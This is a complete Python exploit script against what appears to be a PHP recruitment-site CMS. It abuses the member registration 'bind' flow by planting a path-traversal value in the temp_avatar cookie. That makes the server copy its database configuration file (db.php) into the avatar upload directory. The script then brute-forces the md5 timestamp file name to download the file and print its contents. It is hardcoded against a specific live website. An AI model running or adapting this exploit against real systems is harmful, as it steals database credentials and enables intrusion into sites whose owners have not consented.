#encoding=utf8
import time, random, string, hashlib 
import requests

def post_exp():
	url = root_url+'/index.php'
	username = ''.join(random.sample(string.ascii_letters, 6))
	uid = random.randint(100,999999)
	params = {'m':'','c':'members','a':'register'}
	data = {'ajax':'1','org':'bind','reg_type':'2','utype':'2','ucenter':'bind'}
	cookies = {	'members_bind_info[temp_avatar]':'../../../../Application/Common/Conf/db.php',
				'members_bind_info[type]':'qq',
				'members_uc_info[password]':username,
				'members_uc_info[uid]':str(uid),
				'members_uc_info[username]':username
				}
	r = requests.post(url,params=params,data=data,cookies=cookies)
	pic_time = int(time.time())
	return uid,pic_time

def get_picname(uid,pic_time):
	localtime = time.localtime(pic_time)
	unhash_name = str(uid)+str(pic_time)
	hash_name = hashlib.md5(unhash_name.encode('utf8')).hexdigest()+'.jpg'
	pic_url = root_url+'/data/upload/avatar/{}{}/{}/'.format(str(localtime[0])[2:],str(localtime[1]).zfill(2),localtime[2])+hash_name
	return pic_url

def main():	
	global root_url
	root_url = 'http://www.yuanhangrencai.com/yanjiaorencaiwang/'

	uid,pic_time = post_exp()
	for pt in range(pic_time-10,pic_time+10):
		pic_url = get_picname(uid,pt)
		r = requests.get(pic_url)
		if r.status_code == 200:
			print("Vulnerable!")
			print(r.text)
			exit()

		print(pt,pic_url,r)
	print("may be unvulnerable")
		

if __name__ == '__main__':
	main()
	
	
	
